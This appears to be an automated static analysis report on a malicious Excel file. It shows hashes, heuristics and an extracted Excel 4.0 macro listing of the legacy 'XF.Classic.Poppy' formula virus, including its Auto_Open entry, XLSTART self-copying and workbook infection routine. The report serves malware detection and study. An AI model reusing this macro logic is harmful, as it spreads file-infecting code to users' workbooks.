Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c561d00cceee79eb…

MALICIOUS

Office (OLE)

45.5 KB Created: 2009-10-22 05:25:07 Authoring application: Microsoft Excel First seen: 2014-08-17
MD5: abaf9b0db8fe95b24aa24d52b78d53e4 SHA-1: 324195afb0f9749e3f384c7407cf5ded184884ae SHA-256: c561d00cceee79ebcd16a194381a63d585ad7b04ee3b7ae6495beb123eed9b8f
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is identified as a malicious Excel 4.0 (XLM) macro sheet. Critical heuristics indicate the presence of an Auto_Open defined name and the use of dangerous formula APIs like RUN, suggesting an intent to execute arbitrary code upon opening. The embedded artifacts and macro content explicitly mention 'Excel Formula Macro Virus (XF.Classic)' and 'Poppy by VicodinES', indicating a known legacy malware family designed for execution and potential payload delivery.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Legacy Excel formula macro virus marker critical OLE_XLS_FORMULA_MACRO_VIRUS
    Workbook stream contains self-identifying legacy Excel formula macro virus markers. This indicates the document carries formula macro virus content even when no VBA project or modern XLM macro-sheet structure is present.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 17063 bytes
SHA-256: 7ded7123052d96d0fdf94bd9b6084c173a0ed03778375fddfaa4304b276df7dd
Preview script
First 1,000 lines of the extracted script
' 0085     15 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden -  360Qex
' 0085     16 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  å]\
' 0085     22 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Ɖ‘˜¶[
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden -  360QexF
' 0085     16 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden -  YFRHTJM
' 0085     16 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden -  ZEMJLYO
' 0085     16 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden -  lazwIbJ
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -  XL4Popp
' 0018     24 LABEL : Cell Value, String Constant - aa len=7 ptgRef3d  Sheet!C39 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 2 Auto_Close len=7 ptgRef3d  XL4Popp!C4 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  XL4Popp!C4 
' 0018     26 LABEL : Cell Value, String Constant - Bust len=7 ptgRef3d  ZEMJLYO!C31 
' 0018     26 LABEL : Cell Value, String Constant - Bust len=7 ptgRef3d  XL4Popp!C31 
' 0018     26 LABEL : Cell Value, String Constant - Bust len=7 ptgRef3d  360QexF!C31 
' 0018     26 LABEL : Cell Value, String Constant - Bust len=7 ptgRef3d  YFRHTJM!C31 
' 0018     30 LABEL : Cell Value, String Constant - Continue len=7 ptgRef3d  ZEMJLYO!C9 
' 0018     30 LABEL : Cell Value, String Constant - Continue len=7 ptgRef3d  XL4Popp!C9 
' 0018     30 LABEL : Cell Value, String Constant - Continue len=7 ptgRef3d  360QexF!C9 
' 0018     30 LABEL : Cell Value, String Constant - Continue len=7 ptgRef3d  YFRHTJM!C9 
' 0018     75 LABEL : Cell Value, String Constant - Document_array len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x01\x00\x00\x1c\xe80\x01'
' 0018     75 LABEL : Cell Value, String Constant - Document_array len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x01\x00\x00\xa4\x9c\x9e\x02'
' 0018     75 LABEL : Cell Value, String Constant - Document_array len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x01\x00\x00\xc8\xe80\x01'
' 0018     75 LABEL : Cell Value, String Constant - Document_array len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x01\x00\x004\xe90\x01'
' 0018     41 LABEL : Cell Value, String Constant - Documents_array len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x06\x00\x00\x00\x0f\x00\x01\x00\x01\x00'
' 0018     41 LABEL : Cell Value, String Constant - Documents_array len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x08\x00\x00\x00\x0f\x00\x01\x00\x01\x00'
' 0018     41 LABEL : Cell Value, String Constant - Documents_array len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x04\x00\x00\x00\x0f\x00\x01\x00\x01\x00'
' 0018     41 LABEL : Cell Value, String Constant - Documents_array len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x05\x00\x00\x00\x0f\x00\x01\x00\x01\x00'
' 0018     27 LABEL : Cell Value, String Constant - Hello len=7 ptgRef3d  ZEMJLYO!A15 
' 0018     27 LABEL : Cell Value, String Constant - Hello len=7 ptgRef3d  XL4Popp!A15 
' 0018     27 LABEL : Cell Value, String Constant - Hello len=7 ptgRef3d  YFRHTJM!A15 
' 0018     27 LABEL : Cell Value, String Constant - Hello len=7 ptgRef3d  360QexF!A15 
' 0018     28 LABEL : Cell Value, String Constant - MakeIt len=7 ptgRef3d  ZEMJLYO!A26 
' 0018     28 LABEL : Cell Value, String Constant - MakeIt len=7 ptgRef3d  XL4Popp!A26 
' 0018     28 LABEL : Cell Value, String Constant - MakeIt len=7 ptgRef3d  YFRHTJM!A26 
' 0018     28 LABEL : Cell Value, String Constant - MakeIt len=7 ptgRef3d  360QexF!A26 
' 0018     29 LABEL : Cell Value, String Constant - Morning len=7 ptgRef3d  ZEMJLYO!C39 
' 0018     29 LABEL : Cell Value, String Constant - Morning len=7 ptgRef3d  XL4Popp!C39 
' 0018     29 LABEL : Cell Value, String Constant - Morning len=7 ptgRef3d  YFRHTJM!C39 
' 0018     29 LABEL : Cell Value, String Constant - Morning len=7 ptgRef3d  360QexF!C39 
' 0018     27 LABEL : Cell Value, String Constant - Poppy len=7 ptgRef3d  ZEMJLYO!C27 
' 0018     27 LABEL : Cell Value, String Constant - Poppy len=7 ptgRef3d  XL4Popp!C27 
' 0018     27 LABEL : Cell Value, String Constant - Poppy len=7 ptgRef3d  YFRHTJM!C27 
' 0018     27 LABEL : Cell Value, String Constant - Poppy len=7 ptgRef3d  360QexF!C27 
' 0018     27 LABEL : Cell Value, String Constant - built-in-name 6 ? len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x07\x00\x01\x00&\x00\x00\x00\x03\x00'
' 0018     39 LABEL : Cell Value, String Constant - Print_Area_MI len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x01\x00\x00\x00[\x00\x00\x00\r\x00'
' 0018     30 LABEL : Cell Value, String Constant -  JSŸ len=7 *UNKNOWN TOKEN* 0x0071 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xc3~\xe5]:\x00'
' 0018     28 LABEL : Cell Value, String Constant -  ؚ len=7 *UNKNOWN TOKEN* 0x00a7 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'~\xe5]:\x00\x00'
' 0018     24 LABEL : Cell Value, String Constant -   len=7 ptgSub *UNKNOWN TOKEN* 0x00c8 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b"<\x02\x00''"
' 0018     34 LABEL : Cell Value, String Constant -  üÈÝЬ len=7 *UNKNOWN TOKEN* 0x00c0 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xc5\xc5\xf8\xbc\x80\xbd'
' 0018     34 LABEL : Cell Value, String Constant -   Ìl­¬ len=7 *UNKNOWN TOKEN* 0x00c0 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xc5\xc5\xf8\xbc\x80\xbd'
' 0018     26 LABEL : Cell Value, String Constant -  n len=7 ptgMemAreaA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xe5]:\x00\x00\x05'
' 0018     28 LABEL : Cell Value, String Constant -  Ÿq len=7 *UNKNOWN TOKEN* 0x00c3 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'~\xe5]:\x00\x00'
' 0018     24 LABEL : Cell Value, String Constant -   len=7 *UNKNOWN TOKEN* 0x0034 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'l:\x00\x00O\x01'
' 0018     30 LABEL : Cell Value, String Constant -  •b  len=7 ptgMemNoMemA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xf6e\xf4\x95:\x00'
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  å]\,G7,"",1.00000000000000000000
'  å]\,L7,"",1.00000000000000000000
'  å]\,G10,"",0.00000000000000000000
'  å]\,G11,"",0.00000000000000000000
'  å]\,K11,"",0.00000000000000000000
'  Ɖ‘˜¶[,A3,"",1.00000000000000000000
'  360QexF,A4,"",3.00000000000000000000
'  YFRHTJM,A4,"",3.00000000000000000000
'  lazwIbJ,A4,"",3.00000000000000000000
'  XL4Popp,C1,WORKBOOK.HIDE("XL4Poppy"),""
'  XL4Popp,A4,"",3.00000000000000000000
'  XL4Popp,C4,RUN(C18),""
'  XL4Popp,C5,"ERROR(TRUE,Continue)",""
'  XL4Popp,C6,IF(A4=3),""
'  XL4Popp,C7,RETURN(),""
'  XL4Popp,C8,*STACKERROR* not enough arguments for function: END.IF,""
'  XL4Popp,C9,ERROR(FALSE),""
'  XL4Popp,C10,RUN(A21),""
'  XL4Popp,C11,"ON.TIME("6:30:00 PM","Hello")",""
'  XL4Popp,C12,"ON.TIME("6:30:00 AM","Morning")",""
'  XL4Popp,C13,"ON.SHEET(,"Poppy",TRUE)",""
'  XL4Popp,C14,RETURN(),""
'  XL4Popp,A15,"ALERT("XF.Classic.Poppy by VicodinES",2)",""
'  XL4Popp,A16,"ALERT("Ò$  1 9 9 8   T h e   N a r k o t i c   N e t w o r k ",2)",""
'  XL4Popp,A17,RETURN(),""
'  XL4Popp,C18,"SET.VALUE(A3,(GET.WORKSPACE(32)&"\xlstart\Book1."))",""
'  XL4Popp,C19,"SET.NAME("Document_array",DOCUMENTS())",""
'  XL4Popp,C20,"SET.VALUE(A1,INDEX(Document_array,2))",""
'  XL4Popp,A21,"IF(FILES(A3)="Book1.",0,99)",""
'  XL4Popp,A22,"ERROR(TRUE,MakeIt)",""
'  XL4Popp,C22,"SET.VALUE(A4,GET.DOCUMENT(3,"["&A1&"]"&"XL4Poppy"))",""
'  XL4Popp,A23,IF(A21=0),""
'  XL4Popp,C23,RETURN(),""
'  XL4Popp,A24,RETURN(),""
'  XL4Popp,A25,*STACKERROR* not enough arguments for function: END.IF,""
'  XL4Popp,A26,NEW(1),""
'  XL4Popp,A27,WORKBOOK.INSERT(1),""
'  XL4Popp,C27,RUN(C19),""
'  XL4Popp,A28,WORKBOOK.INSERT(1),""
'  XL4Popp,C28,"ERROR(TRUE,Bust)",""
'  XL4Popp,A29,ACTIVATE.PREV(),""
'  XL4Popp,C29,IF(A4=3),""
'  XL4Popp,A30,RUN(C18),""
'  XL4Popp,C30,RETURN(),""
'  XL4Popp,A31,"WORKBOOK.COPY("XL4Poppy",A1)",""
'  XL4Popp,C31,ERROR(FALSE),""
'  XL4Popp,A32,"WORKBOOK.NAME("Sheet3","Sheet99")",""
'  XL4Popp,C32,ACTIVATE.PREV(),""
'  XL4Popp,A33,"WORKBOOK.NAME("Sheet1","Sheet3")",""
'  XL4Popp,C33,RUN(C19),""
'  XL4Popp,A34,"WORKBOOK.NAME("Sheet99","Sheet1")",""
'  XL4Popp,C34,"WORKBOOK.COPY("XL4Poppy",A1)",""
'  XL4Popp,A35,"PROTECT.DOCUMENT(TRUE,,"VicodinES",TRUE)",""
'  XL4Popp,C35,*STACKERROR* not enough arguments for function: END.IF,""
'  XL4Popp,A36,WORKBOOK.PREV(),""
'  XL4Popp,C36,RETURN(),""
'  XL4Popp,A37,WORKBOOK.PREV(),""
'  XL4Popp,A38,WORKBOOK.PREV(),""
'  XL4Popp,A39,SAVE.AS(A3),""
'  XL4Popp,C39,APP.TITLE("XF.Classic.Poppy"),""
'  XL4Popp,A40,FILE.CLOSE(),""
'  XL4Popp,C40,"MESSAGE(TRUE,"VicodinES and Lord Natas greet you a good morning!")",""
'  XL4Popp,A41,RETURN(),""
'  XL4Popp,C41,RETURN(),""